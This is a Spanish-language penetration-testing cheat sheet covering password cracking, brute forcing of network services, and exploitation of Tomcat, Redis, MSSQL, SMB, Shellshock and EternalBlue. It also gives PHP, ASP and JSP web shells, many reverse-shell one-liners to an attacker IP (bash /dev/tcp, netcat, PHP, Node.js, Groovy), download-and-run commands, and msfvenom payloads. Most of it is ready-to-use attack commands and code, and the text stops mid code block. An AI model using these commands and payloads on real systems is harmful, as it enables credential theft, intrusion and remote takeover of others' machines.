* <https://github.com/urbanadventurer/username-anarchy>

```shell
./username-anarchy <name> <last-name>
```

#### List of people names to users dictionary

* <https://github.com/MrW0l05zyn/list-of-people-names-to-users-dictionary>

```shell
listPeopleNamesToUsersDictionary.py -n '<name> <last-name>'
```

## Credenciales por defecto

* [SecLists](https://github.com/danielmiessler/SecLists)
  * /SecLists/Passwords/Default-Credentials/default-passwords.txt
  * /SecLists/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt
* [CIRT](https://www.cirt.net/passwords)
* [SCADA pass](https://github.com/scadastrangelove/SCADAPASS/blob/master/scadapass.csv)

| Aplicación               | Usuario       | Contraseña    |
| ------------------------ | ------------- | ------------- |
| Tomcat                   | tomcat        | s3cret        |
| pfSense                  | admin         | pfsense       |
| ManageEngine ServiceDesk | administrator | administrator |

## Política de contraseñas

```shell
# sed
## eliminar contraseñas de menos de 8 caracteres
sed -ri '/^.{,7}$/d' passwords.txt
## eliminar contraseñas sin caracteres especiales
sed -ri '/[!-/:-@\[-`\{-~]+/!d' passwords.txt
## eliminar contraseñas sin números
sed -ri '/[0-9]+/!d' passwords.txt

# grep
## contraseñas que comienzan con una letra mayúscula
grep '^[[:upper:]]'
## contraseñas que contengan letras minúsculas
grep '[[:lower:]]'
## contraseñas que terminen con un número
grep '[[:digit:]]$'
## contraseñas con caracteres especiales $#@
grep -E ['$#@']
## contraseñas con una longitud mínima de 10 caracteres
grep -E '^.{10,}$'
## contraseñas con una longitud de 8 a 15 caracteres
grep -E '^.{8,15}$'
```


# Fuera de línea (offline)


# Archivo passwd y shadow

## John the Ripper

### Copiar archivos passwd y shadow

```shell
cp /etc/passwd /<path>/passwd.txt
cp /etc/shadow /<path>/shadow.txt
```

### Unificar archivos passwd y shadow

```shell
unshadow passwd.txt shadow.txt > passwords.txt
```

### Cracking de contraseñas

```shell
john passwords.txt --wordlist=<path-wordlist> --format=md5crypt
john passwords.txt --wordlist=<path-wordlist> --format=md5crypt-long
```

* \<path-wordlist> = ruta de wordlist.

## Hashcat

```shell
hashcat -a 0 -m 500 hashes.hash <path-wordlist> -o outfile.txt
hashcat -a 0 -m 1800 hashes.hash <path-wordlist> -o outfile.txt
```

* -a = modo de ataque.
  * 0 = wordlist.
* -m = tipo de hash.
  * 500 = md5crypt, MD5 (Unix), Cisco-IOS $1$ (MD5).
  * 1800 = sha512crypt $6$, SHA512 (Unix).
* \<path-wordlist> = ruta de wordlist.
* -o = el archivo de salida para el hash recuperado.


# Archivo SAM y SYSTEM

## Impacket

### Archivos y registro de Windows

```shell
# Archivos 
C:\Windows\System32\Config\SAM
C:\Windows\System32\Config\SYMTEM

# Registro de Windows
HKEY_LOCAL_MACHINE\SAM
HKEY_LOCAL_MACHINE\SYMTEM
```

### Copia de registros de Windows

```shell
reg.exe save HKLM\SAM sam.bak
reg.exe save HKLM\SYSTEM system.bak
```

### secretsdump.py

```shell
secretsdump.py -sam sam.bak -system system.bak LOCAL
```

* uid:rid:lmhash:nthash


# Archivos zip

## John the Ripper

```shell
zip2john <file.zip> > hash.txt
john hash.txt -w=<path-passwords> --format=ZIP
john hash.txt --show
```

## fcrackzip

```shell
fcrackzip -u -v -D -p <path-passwords> <file.zip>
```

* -u = descomprimir (unzip) para eliminar contraseñas incorrectas.
* -v = modo verboso.
* -D = ataque de contraseñas por diccionario.
* -p = archivo de contraseñas.
  * \<path-passwords> = ruta de archivo con listado de contraseñas, por ejemplo: `/usr/share/wordlists/rockyou.txt` .
* \<file.zip> = archivo zip.


# Hashes

## Herramientas

### Google Colaboratory (Colab)

#### Colabcat

* <https://github.com/someshkar/colabcat>

### Search-That-Hash

* <https://github.com/HashPals/Search-That-Hash>

## MD5

### John the Ripper <a href="#john-the-ripper-md5" id="john-the-ripper-md5"></a>

```shell
john hash.txt --wordlist=<path-wordlist> --format=Raw-MD5
john hash.txt --format=Raw-MD5 --show
```

### Hastcat <a href="#hastcat-md5" id="hastcat-md5"></a>

```shell
hashcat -m 0 -a 0 hash.txt <path-wordlist>
hashcat -m 0 hash.txt --show
```

## LM

* Hash LM en blanco = aad3b435b51404eeaad3b435b51404ee

### John the Ripper <a href="#lm-john-the-ripper" id="lm-john-the-ripper"></a>

```shell
john hash.txt --wordlist=<path-wordlist> --format=LM
john hash.txt --format=LM --show
```

### Hashcat <a href="#lm-hashcat" id="lm-hashcat"></a>

```shell
hashcat -m 3000 -a 0 hash.txt <path-wordlist>
hashcat -m 3000 hash.txt --show
```

## NT

* Hash NT en blanco = 31d6cfe0d16ae931b73c59d7e0c089c0

### John the Ripper <a href="#john-the-ripper-ntlm" id="john-the-ripper-ntlm"></a>

```shell
john hash.txt --wordlist=<path-wordlist> --format=NT
john hash.txt --format=NT --show
```

### Hashcat <a href="#hashcat-ntlm" id="hashcat-ntlm"></a>

```shell
hashcat -m 1000 -a 0 hash.txt <path-wordlist>
hashcat -m 1000 hash.txt --show
```

## NTLMv2

### Hashcat <a href="#hashcat-ntlmv2" id="hashcat-ntlmv2"></a>

```shell
hashcat -m 5600 -a 0 hash.txt <path-wordlist>
hashcat -m 5600 hash.txt --show
```

## SHA-256

### Hashcat <a href="#hashcat-sha-256" id="hashcat-sha-256"></a>

```shell
hashcat -m 1400 -a 0 hash.txt <path-wordlist>
hashcat -m 1400 hash.txt --show
```


# En línea (online)


# Hash

## Mimikatz

* <https://github.com/gentilkiwi/mimikatz>

```shell
privilege::debug
sekurlsa::logonpasswords
```

```shell
privilege::debug
token::elevate
lsadump::sam
```


# 21/TCP (FTP)

FTP, File Transfer Protocol.

## Wordlists

* [SecLists](https://github.com/danielmiessler/SecLists)
  * `/usr/share/seclists/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt`

## Hydra

```shell
hydra -L <path-users> -P <path-passwords> ftp://<target>:<port> -V -f
```

* -L = utilizar archivo de usuarios.
  * \<path-users> = ruta de archivo con listado de usuarios.
* -P = utilizar archivo de contraseñas.
  * \<path-passwords> = ruta de archivo con listado de contraseñas.
* \<target> = objetivo.
* \<port> = puerto del servicio FTP.


# 22/TCP (SSH)

SSH, Secure SHell.

## Hydra

```shell
hydra -L <path-users> -P <path-passwords> ssh://<target>:<port> -u -f -V -t 4
```

* -L = utilizar archivo de usuarios.
  * \<path-users> = ruta de archivo con listado de usuarios.
* -P = utilizar archivo de contraseñas.
  * \<path-passwords> = ruta de archivo con listado de contraseñas.
* \<target> = objetivo.
* \<port> = puerto del servicio SSH.
* -u = recorre por usuarios, no por contraseñas.
* -f = salir cuando se encuentra un par de usuario/contraseña correctos.
* -V = modo verboso.

## Patator

```shell
patator ssh_login host=<target> port=<port> user=<user> password=FILE0 0=<path-passwords>
patator ssh_login host=<target> port=<port> user=FILE0 password=FILE1 0=<path-users> 1=<path-passwords>
```

* host = hostname.
  * \<target> = objetivo.
* port = puerto.
  * \<port> = puerto del servicio SSH.
* user = usuario.
  * \<user> = nombre de usuario.
* \<path-users> = ruta de archivo con listado de usuarios.
* \<path-passwords> = ruta de archivo con listado de contraseñas.


# 23/TCP (Telnet)

Telnet, Teletype Network.

## Medusa

```shell
medusa -h <target> -M telnet -U <path-users> -P <path-passwords>
```

* -h = hostname.
  * \<target> = objetivo.
* -U = utilizar archivo de usuarios.&#x20;
  * \<path-users> = ruta de archivo con listado de usuarios.
* -P = utilizar archivo de contraseñas.
  * \<path-passwords> = ruta de archivo con listado de contraseñas.


# 80/TCP, 443/TCP (HTTP/S)

HTTP, Hypertext Transfer Protocol. HTTPS, Hypertext Transfer Protocol Secure.

## Hydra

### Basic HTTP Authentication

```shell
hydra -C <path-wordlist> <target> http-get / -f -V
```

* -C = formato "user:pass".
  * \<path-wordlist> = ruta de wordlist.
* \<target> = objetivo.
* http-get = método HTTP GET.
* -f = salir cuando se encuentra un par de usuario/contraseña correctos.
* -V = modo verboso.

### Método HTTP GET

```shell
hydra -L <path-users> -P <path-passwords> <target> http-get-form "/login.php:username=^USER^&password=^PASS^:<incorrect-reply-message>" -f -V
```

* -L = utilizar archivo de usuarios.
  * \<path-users> = ruta de archivo con listado de usuarios.
* -P = utilizar archivo de contraseñas.
  * \<path-passwords> = ruta de archivo con listado de contraseñas.
* \<target> = objetivo.
* http-get-form = método HTTP GET.
* \<incorrect-reply-message> = mensaje de respuesta incorrecto.
* -f = salir cuando se encuentra un par de usuario/contraseña correctos.
* -V = modo verboso.

### Método HTTP POST

```shell
hydra -L <path-users> -P <path-passwords> <target> http-post-form "/login.php:username=^USER^&password=^PASS^:<incorrect-reply-message>" -f -V
```

* -L = utilizar archivo de usuarios.
  * \<path-users> = ruta de archivo con listado de usuarios.
* -P = utilizar archivo de contraseñas.
  * \<path-passwords> = ruta de archivo con listado de contraseñas.
* \<target> = objetivo.
* http-post-form = método HTTP POST.
* \<incorrect-reply-message> = mensaje de respuesta incorrecto.
* -f = salir cuando se encuentra un par de usuario/contraseña correctos.
* -V = modo verboso.

## Metasploit

### Apache Tomcat

```shell
auxiliary/scanner/http/tomcat_mgr_login
```


# 161/UDP, 162/UDP (SNMP)

SNMP, Simple Network Management Protocol.

## Fuerza bruta community

### Nmap

```shell
nmap -sU -p 161,162 --script snmp-brute <target>
```

* -sU = escaneo puertos UDP.
* -p = puertos 161/UDP y 162/UDP.
* \--script snmp-brute = fuerza bruta de comunidades.
* \<target> = objetivo.

### Hydra

```shell
hydra -P <path-communities> snmp://<target>
```

* -P = utilizar archivo de comunidades.
  * \<path-communities> = ruta de archivo con listado de comunidades.
* \<target> = objetivo.

### onesixtyone

```shell
onesixtyone <target> -c <path-communities>
```

* \<target> = objetivo.
* -c = utilizar archivo de comunidades.
  * \<path-communities> = ruta de archivo con listado de comunidades.


# 445/TCP (SMB)

SMB, Server Message Block.

## CrackMapExec

```shell
crackmapexec smb <target> -u <path-users> -p <path-passwords>
```

* \<target> = objetivo.
* -u = utilizar archivo de usuarios.
  * \<path-users> = ruta de archivo con listado de usuarios.
* -p = utilizar archivo de contraseñas.
  * \<path-passwords> = ruta de archivo con listado de contraseñas.


# 3306/TCP (MySQL)

## Hydra

```shell
# General
hydra -L <path-users> -P <path-passwords> mysql://<target>:<port> -V -f
# Credenciales por defecto
hydra -L /usr/share/seclists/Usernames/top-usernames-shortlist.txt -P /usr/share/seclists/Passwords/Default-Credentials/default-passwords.txt mysql://<target>:<port> -V -f
```

* -L = utilizar archivo de usuarios.
  * \<path-users> = ruta de archivo con listado de usuarios.
* -P = utilizar archivo de contraseñas.
  * \<path-passwords> = ruta de archivo con listado de contraseñas.
* \<target> = objetivo.
* \<port> = puerto del servicio MySQL.


# 5432/TCP (PostgreSQL)

## Hydra

```shell
# General
hydra -L <path-users> -P <path-passwords> mysql://<target>:<port> -V -f
# Credenciales por defecto
hydra -l postgres -P /usr/share/seclists/Passwords/Default-Credentials/default-passwords.txt postgres://<target>:<port> -V -f
hydra -L /usr/share/seclists/Usernames/top-usernames-shortlist.txt -P /usr/share/seclists/Passwords/Default-Credentials/default-passwords.txt postgres://<target>:<port> -V -f
# Fuerza bruta
hydra -l postgres -P /usr/share/wordlists/rockyou.txt postgres://<target>:<port> -V -f
```

* -L = utilizar archivo de usuarios.
  * \<path-users> = ruta de archivo con listado de usuarios.
* -P = utilizar archivo de contraseñas.
  * \<path-passwords> = ruta de archivo con listado de contraseñas.
* \<target> = objetivo.
* \<port> = puerto del servicio PostgreSQL.


# 5985/TCP, 5986/TCP (WinRM)

WinRM, Windows Remote Manager.

## CrackMapExec

```shell
crackmapexec winrm <target> -u <path-users> -p <path-passwords>
```

* \<target> = objetivo.
* -u = utilizar archivo de usuarios.
  * \<path-users> = ruta de archivo con listado de usuarios.
* -p = utilizar archivo de contraseñas.
  * \<path-passwords> = ruta de archivo con listado de contraseñas.


# Servicios


# 22/TCP (SSH)

SSH, Secure SHell.

## Conexión a SSH usando clave privada

```shell
/<user>/.ssh/id_rsa
chmod 600 id_rsa
ssh -i id_rsa <user>@<IP-address>
```

## Corregir error de negociación de método de intercambio de claves

> Unable to negotiate with X.X.X.X port 22: no matching key exchange method found.

```shell
ssh -oKexAlgorithms=+<method> <user>@<IP-address>
ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 <user>@<IP-address>
ssh -oKexAlgorithms=+diffie-hellman-group14-sha1 <user>@<IP-address>
ssh -oKexAlgorithms=+diffie-hellman-group-exchange-sha1 <user>@<IP-address>
```


# 25/TCP, 465/TCP, 587/TCP (SMTP/S)

SMTP, Simple Mail Transfer Protocol. SMTPS, Simple Mail Transfer Protocol Secure.

## Open relay

```sh
nmap -p 25,465,587 --script=smtp-open-relay.nse <target>
```

```sh
telnet <target> 25
HELO idontexist
MAIL FROM: attacker@example.com
RCPT TO: victim@anotherdomain.com
DATA
Subject: Test open relay
Test message
.
QUIT
```


# 53/TCP, 53/UDP (DNS)

DNS, Domain Name System. Transferencia de zona 53/TCP y búsqueda de nombre 53/UDP.

## Transferencia de zona

### **host**

```shell
host -t ns <domain-name>
```

```shell
host -l <domain-name> <nameserver>
```

* \<domain-name> = nombre de dominio.
* \<nameserver> = nombre de servidor (NS).

### **nslookup**

nslookup: Name System Lookup.

```shell
nslookup -type=any -query=AXFR <domain-name> <nameserver>
```

```shell
nslookup
server <nameserver>
set type=any
ls -d <domain-name>
```

* \<nameserver> = nombre de servidor (NS).
* \<domain-name> = nombre de dominio.

### **dig**

dig: Domain Information Groper.

```shell
dig @<nameserver> <domain-name> -t axfr +nocookie
```

* \<nameserver> = nombre de servidor (NS).
* \<domain-name> = nombre de dominio.

### Fierce

```shell
fierce --domain <domain-name>
```

* \--domain = nombre de dominio.
  * \<domain-name> = nombre de dominio.

### DNSRecon

```shell
dnsrecon -d <domain-name> -t axfr
```

* -d = nombre de dominio.
  * \<domain-name> = nombre de dominio.
* -t = tipo de enumeración.
  * axfr = transferencia de zona.


# 80/TCP, 443/TCP (HTTP/S)

HTTP, Hypertext Transfer Protocol. HTTPS, Hypertext Transfer Protocol Secure.

## Apache Tomcat

Ruta de "Tomcat web application manager".

```shell
http://<IP-address>:<port>/manager/
```

Subir web shell en formato `war`.

* <https://github.com/MrW0l05zyn/pentesting/blob/master/web/shells/web-shell.war>

```shell
http://<IP-address>:<port>/web-shell/
http://<IP-address>:<port>/web-shell/index.jsp?cmd=whoami
```

Configuración de listener en Metasploit.

```shell
use exploit/multi/handler
set payload linux/x64/meterpreter_reverse_tcp
set lhost <attacker-IP-address>
set lport <listen-port>
run
```

Generar y subir reverse shell `reverse-shell.war` en máquina victima desde "Tomcat web application manager".

```shell
msfvenom -p linux/x64/meterpreter_reverse_tcp lhost=<attacker-IP-address> lport=<listen-port> -f elf -o reverse-shell.war
```

Desde la web shell mover reverse shell `reverse-shell.war` a directorio `tmp` y asignar privilegios de ejecución.

```shell
ls -la /var/lib/tomcat8/webapps
mv /var/lib/tomcat8/webapps/reverse-shell.war /tmp/reverse-shell
ls /tmp/reverse-shell
chmod +x /tmp/reverse-shell
```

Ejecutar desde la web shell la reverse shell.

```shell
/tmp/reverse-shell
```


# 445/TCP (SMB)

SMB, Server Message Block.

## Impacket

```shell
# impacket-psexec
psexec.py <user>:"<password>"@<target>
psexec.py <ACME.LOCAL>/<user>:"<password>"@<target>
psexec.py <ACME.LOCAL>/<user>@<target> -hashes <hash>

# impacket-wmiexec
wmiexec.py <user>:"<password>"@<target>
wmiexec.py <ACME.LOCAL>/<user>:"<password>"@<target>
wmiexec.py <ACME.LOCAL>/<user>@<target> -hashes <hash>
```

* \<user> = usuario.
* \<password> = contraseña.
* \<target> = dirección IP del objetivo.
* \<hash> = `LMHASH:NTHASH`

## Metasploit

```shell
use exploit/windows/smb/psexec
set RHOSTS <target>
set SMBUser <username>
set SMBPass <password>
run
```

## Reverse shell

```shell
smbclient //<target>/tmp
logon "./=`nohup nc -e /bin/sh <attacker-IP-address> <listen-port>`"
nc -lvnp <listen-port>
```


# 161/UDP, 162/UDP (SNMP)

SNMP, Simple Network Management Protocol.

## Extracción de información

### SNMPwalk

```shell
snmpwalk -v <1|2c|3> <target> -c <community>
```

* -v = versión de SNMP.
* \<target> = objetivo.
* -c = nombre de comunidad.

### SNMPenum

* <https://gitlab.com/kalilinux/packages/snmpenum>

```shell
snmpenum.pl <target> <community> <config-file>
```

* \<target> = objetivo.
* \<community> = nombre de comunidad.
* \<config-file> = archivo de configuración.

### EnumSNMP

* <https://github.com/chrispetrou/EnumSNMP>

```shell
EnumSNMP.sh <target> <v1|2c>
```

* \<target> = objetivo.
* \<v1|2c> = versión de SNMP.


# 1433/TCP (MSSQL Server)

Microsoft SQL Server.

## Metasploit

```shell
use exploit/windows/mssql/mssql_payload
set username <username>
set password <password>
set rhosts <IP-address>
set payload windows/x64/meterpreter_reverse_tcp
set lhost <attacker-IP-address>
set lport <listen-port>
run
```

## Impacket

```shell
# Windows authentication
mssqlclient.py <target-name>/<username>:<password>@<IP-address> -windows-auth
# Microsft SQL Server authentication
mssqlclient.py <target-name>/<username>:<password>@<IP-address>
```

```sql
EXEC sp_configure 'Show Advanced Options', 1;
reconfigure;
EXEC sp_configure 'xp_cmdshell', 1;
reconfigure;
sp_configure;
EXEC master..xp_cmdshell 'whoami';
```

```shell
python3 -m http.server 80
cp reverse-shell.ps1 .
nc -lvnp <listen-port>
```

```sql
EXEC master..xp_cmdshell 'powershell "IEX (New-Object Net.WebClient).DownloadString(\"http://<attacker-IP-address>/reverse-shell.ps1\");'
```


# 2049/TCP (NFS)

NFS, Network File System.

## Montar recursos

```shell
sudo mkdir /mnt/nfs-temp
sudo mount -t nfs <IP-address>:<share> /mnt/nfs-temp/ -nolock
```

## Desmontar recursos

```shell
sudo umount /mnt/nfs-temp/
```


# 3389/TCP (RDP)

RDP, Remote Desktop Protocol.

## rdesktop

```shell
rdesktop <target> -u <username> -p <password>
```

* \<target> = dirección IP del objetivo.
* \<username> = nombre de usuario.
* \<password> = contraseña de usuario.

## FreeRDP

```shell
xfreerdp /v:<target> /u:<username> /p:'<password>' /dynamic-resolution +clipboard /drive:.,share
```

* \<target> = dirección IP del objetivo.
* \<username> = nombre de usuario.
* \<password> = contraseña de usuario.
* /drive:.,share = habilita unidad compartida de red. El `.` indica compartir el directorio actual (máquina atacante) y `share` nombre de la unidad compartida en máquina victima.

## Remmina

* <https://remmina.org/>


# 5985/TCP, 5986/TCP (WinRM)

WinRM, Windows Remote Manager.

## Evil-WinRM

```shell
evil-winrm -i <target> -u <username> -p <password>
evil-winrm -i <target> -u <username> -H <hash>
evil-winrm -i <target> -u <username> -p <password> -s <path>
```

* \<target> = dirección IP del objetivo.
* \<username> = nombre de usuario.
* \<password> = contraseña de usuario.
* \<hash> = hash de la contraseña del usuario.
* -s = ruta local (máquina atacante) de scripts de PowerShell.


# 6379/TCP (Redis)

## Verificación de existencia de autenticación <a href="#enumeracion-verificacion-de-existencia-de-autenticacion" id="enumeracion-verificacion-de-existencia-de-autenticacion"></a>

```shell
telnet <target> 6379
echo "verificación de autenticación"
$31
verificación de autenticación
quit
+OK
Connection closed by foreign host.
```

## redis-cli <a href="#enumeracion-redis-cli" id="enumeracion-redis-cli"></a>

```shell
redis-cli -h <target> -p 6379
INFO # obtiene información general de Redis
CONFIG GET dir # obtiene directorio actual
CONFIG SET dir "/<path>/" # realiza cambio de directorio
```

* -h = host.
  * \<target> = objetivo.
* -p = puerto 6379/TCP.

### Modificación de archivo <a href="#enumeracion-redis-cli-modificacion-de-archivo" id="enumeracion-redis-cli-modificacion-de-archivo"></a>

```shell
redis-cli -h <target> -p 6379
CONFIG SET dir "/<path>/" # directorio del archivo a modificar
CONFIG SET dbfilename "<file-name>" # selecciona archivo a modificar
set <any-name> "contenido a modificar en archivo" # modifica contenido de archivo
save
```

* -h = host.
  * \<target> = objetivo.
* -p = puerto 6379/TCP.

## SSH

### Enumeración manual de usuario y su directorio <a href="#enumeracion-manual-de-usuario-y-su-directorio" id="enumeracion-manual-de-usuario-y-su-directorio"></a>

```shell
redis-cli -h <target> -p 6379
CONFIG SET dir "/home/<user>/.ssh"
```

* -h = host.
  * \<target> = objetivo.
* -p = puerto 6379/TCP.
* \<user> = usuario.

### Enumeración automatizada de usuarios y su directorio (script Python)

```python
import redis

wordlist = "<path-wordlist-usernames>"
pathTemplate = "/home/%(user)s/.ssh"
RedisHost = "<IP>"
RedisPort = 6379

with open(wordlist, "r") as wl:
    usernames = wl.readlines()
    wl.close()

r = redis.StrictRedis(host=RedisHost, port=RedisPort, db=0)
i = 1.0
paths = []

for username in usernames:
    u = username.strip('\r\n')
    path = pathTemplate % {'user': u}
    try:
        r.config_set("dir", path)
        paths.append(path)
        print ("Found: %s" % path)
    except Exception:
        pass
print ("Progress: %2.3f%% \r" % ((100*i)/len(usernames))),
i += 1
```

### Generación de nueva llave publica/privada

```shell
ssh-keygen -t rsa
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > id_rsa.txt
```

### Carga de llave publica en archivo "authorized\_keys"

```shell
redis-cli -h <IP> flushall
cat id_rsa.txt | redis-cli -h <IP> -x set key-id_rsa

redis-cli -h <IP>
config set dir <directory-user>/.ssh/
config set dbfilename "authorized_keys"
save
```

### Conexión a servicio SSH utilizando llave privada

```shell
ssh -i id_rsa <user>@<IP>
```

### Exploit automatizado

* <https://github.com/Avinash-acid/Redis-Server-Exploit>

## Webshell

```shell
redis-cli -h <target> -p 6379
CONFIG SET dir "/<path>/" # directorio del archivo a modificar
CONFIG SET dbfilename "index.php" # selecciona archivo a modificar
set <any-name> "<?php system($_GET['cmd']);?>" # modifica contenido de archivo
save
```

## Exploits

### Metasploit

```shell
use exploit/linux/redis/redis_replication_cmd_exec
```

* <https://github.com/jas502n/Redis-RCE>

```shell
python3 redis-rce.py -r <target> -p 6379 -L <attacker-IP-address> -P <listen-port> -f exp_lin.so
```


# Git

## General

Repositorio de Git expuesto.

```sh
http://<target>/.git/
https://<target>/.git/
```

Descargar repositorio de Git expuesto.

```sh
wget -r -np http://<target>/.git/
wget -r -np https://<target>/.git/
```

Revisión de repositorio descargado.

```sh
git log --pretty=oneline
git cat-file -t <commit-hash>
git cat-file -p <commit-hash>
```

## Herramientas

* <https://github.com/internetwache/GitTools>
* <https://github.com/liamg/gitjacker>


# Vulnerabilidades


# CVE-2009-3103 / MS09-050

* <https://github.com/MrW0l05zyn/pentesting/blob/master/windows/exploitation/exploits/ms09-050/ms09-050.py>

```bash
# Generación de shellcode
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<attacker-IP-address> LPORT=<listen-port> EXITFUNC=thread -f python --var-name shell

# Configuración de listener (multi/handler) de reverse shell 
msfconsole
use multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST <attacker-IP-address>
set LPORT <listen-port>
run -j

# Exploit
python2 ms09-050.py <target>
```


# Netapi (MS08-067)

* <https://github.com/MrW0l05zyn/pentesting/blob/master/windows/exploitation/exploits/ms08-067/ms08-067.py>


# Heartbleed (CVE-2014-0160)

## Exploits

* <https://github.com/MrW0l05zyn/pentesting/blob/master/exploits/heartbleed/heartbleed.py>
* <https://www.exploit-db.com/exploits/32745>

## Metasploit

```sh
use auxiliary/scanner/ssl/openssl_heartbleed
set RHOSTS <target>
set VERBOSE true
run
```


# Shellshock / Bashdoor (CVE-2014-6271)

Verificación de vulnerabilidad Shellshock / Bashdoor.

```bash
curl -H "user-agent: () { :; }; echo; echo; /bin/bash -c 'cat /etc/passwd'" http://<target>/cgi-bin/<vulnerable>
```

Reverse shell.

```bash
# Máquina atacante
nc -lvnp <listen-port>
# Máquina victima
curl -H "user-agent: () { :; }; echo; echo; /bin/bash -c 'bash -i >& /dev/tcp/<attacker-IP-address>/<listen-port> 0>&1'" http://<target>/cgi-bin/<vulnerable>
```


# EternalBlue (CVE-2017-0144 / MS17-010)

* <https://github.com/3ndG4me/AutoBlue-MS17-010>

```bash
# Clonación de repositorio 
git clone https://github.com/3ndG4me/AutoBlue-MS17-010.git
cd AutoBlue-MS17-010

# Revisión si objetivo es vulnerable a EternalBlue (CVE-2017-0144 / MS17-010)
python3 eternal_checker.py <target>

# Generación de shellcode
cd shellcode && ./shell_prep.sh

# Configuración de listeners de reverse shell
cd .. && ./listener_prep.sh

# Exploit
python3 eternalblue_exploit7.py <target> ./shellcode/sc_all.bin
python3 eternalblue_exploit7.py <target> ./shellcode/sc_x64.bin
python3 eternalblue_exploit7.py <target> ./shellcode/sc_x86.bin
```


# Shells


# General

## Web shells

### Kali Linux <a href="#web-shells-kali-linux" id="web-shells-kali-linux"></a>

/usr/share/webshells/

### PHP <a href="#web-shells-php" id="web-shells-php"></a>

* <https://github.com/Arrexel/phpbash>

```php
<?php system($_REQUEST['cmd']); ?>
```

```php
<?php echo system($_GET["cmd"]); ?>
```

```php
<?php
    if(isset($_REQUEST['cmd'])){
        echo "<pre>";
        $cmd = ($_REQUEST['cmd']);
        system($cmd);
        echo "</pre>";
        die;
    }
?>
```

### ASP <a href="#web-shells-asp" id="web-shells-asp"></a>

```aspnet
<% eval request("cmd") %>
```

### JSP <a href="#web-shells-jsp" id="web-shells-jsp"></a>

```java
<% Runtime.getRuntime().exec(request.getParameter("cmd")); %>
```

### Imágenes

```shell
echo -n "\xff\xd8\xff\xe0<?php system('id'); ?>" > webshell.jpg
echo -n "GIF89a;<?php system('id'); ?>" > webshell.gif
exiftool -Comment="<?php system('id'); ?>" webshell.gif
```

## Reverse shells

### PHP <a href="#reverse-shells-php" id="reverse-shells-php"></a>

* <https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php>
* <https://github.com/ivan-sincek/php-reverse-shell>

```bash
# /bin/sh
php -r '$sock=fsockopen("<attacker-IP-address>",<listen-port>);exec("/bin/sh -i <&3 >&3 2>&3");'
php -r '$sock=fsockopen("<attacker-IP-address>",<listen-port>);shell_exec("/bin/sh -i <&3 >&3 2>&3");'
php -r '$sock=fsockopen("<attacker-IP-address>",<listen-port>);system("/bin/sh -i <&3 >&3 2>&3");'
php -r '$sock=fsockopen("<attacker-IP-address>",<listen-port>);passthru("/bin/sh -i <&3 >&3 2>&3");'
php -r '$sock=fsockopen("<attacker-IP-address>",<listen-port>);popen("/bin/sh -i <&3 >&3 2>&3", "r");'

# /bin/bash
php -r "exec(\"bash -c 'bash -i >& /dev/tcp/<attacker-IP-address>/<listen-port> 0>&1'\");"
php -r "shell_exec(\"bash -c 'bash -i >& /dev/tcp/<attacker-IP-address>/<listen-port> 0>&1'\");"
php -r "system(\"bash -c 'bash -i >& /dev/tcp/<attacker-IP-address>/<listen-port> 0>&1'\");"
php -r "passthru(\"bash -c 'bash -i >& /dev/tcp/<attacker-IP-address>/<listen-port> 0>&1'\");"
php -r "popen(\"bash -c 'bash -i >& /dev/tcp/<attacker-IP-address>/<listen-port> 0>&1'\",\"r\");"
```

### Apache Tomcat

```shell
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<attacker-IP-address> LPORT=<listen-port> -f war -o revshell.war
```

### Groovy

```shell
String host="<attacker-IP-address>";
int port=<listen-port>;
String cmd="bash";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
```

### Server-Side Includes (SSI)

```
<!--#exec cmd="mkfifo /tmp/reverse-shell;nc <attacker-IP-address> <listen-port> 0</tmp/reverse-shell|/bin/bash 1>/tmp/reverse-shell;rm /tmp/reverse-shell" -->
```

### Node.js

```bash
# /bin/sh
echo "require('child_process').exec('nc -nv <attacker-IP-address> <listen-port> -e /bin/sh')" > /tmp/revshell.js; node /tmp/revshell.js
# /bin/bash
echo "require('child_process').exec('nc -nv <attacker-IP-address> <listen-port> -e /bin/bash')" > /tmp/revshell.js; node /tmp/revshell.js
```

```javascript
(function(){
    var net = require("net"),
        cp = require("child_process"),
        sh = cp.spawn("/bin/sh", []);
    var client = new net.Socket();
    client.connect(<listen-port>, "<attacker-IP-address>", function(){
        client.pipe(sh.stdin);
        sh.stdout.pipe(client);
        sh.stderr.pipe(client);
    });
    return /test/;
})();
```

## Revisión de ejecución de comandos

```shell
# Máquina victima
## Linux/Unix
ping -c 4 <attacker-IP-address>
## Windows
ping -n 4 <attacker-IP-address>

# Máquina atacante
sudo tcpdump -i <network-interface> icmp
```

## Revisión de puertos de salida abiertos

```shell
# Wget
wget <attacker-IP-address>:443
python3 -m http.server 443

# cURL
curl http://<attacker-IP-address>:443
python3 -m http.server 443

# Bash
bash -c 'echo testing > /dev/tcp/<attacker-IP-address>/443'
rlwrap nc -lvnp 443
```


# MSFvenom

## Linux/Unix

```shell
# Máquina atacante
msfvenom -p linux/x64/shell_reverse_tcp lhost=<attacker-IP-address> lport=<listen-port> -f elf -o revshell
python3 -m http.server 80
rlwrap nc -lvnp <listen-port>

# Máquina victima
## wget
wget http://<attacker-IP-address>:80/revshell -O /tmp/revshell; chmod +x /tmp/revshell; /tmp/revshell
## curl
curl http://<attacker-IP-address>:80/revshell -o /tmp/revshell; chmod +x /tmp/revshell; /tmp/revshell
```

### Telnet

```shell
msfvenom -p cmd/unix/reverse_netcat lhost=<attacker-IP-address> lport=<listen-port> R
```

## Windows

```shell
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<attacker-IP-address> LPORT=<listen-port> -f exe -o reverse-shell.exe
```

```shell
msfvenom -p windows/x64/shell_reverse_tcp lhost=<attacker-IP-address> lport=<listen-port> -f exe -o reverse-shell.exe
```

## Apache Tomcat

```shell
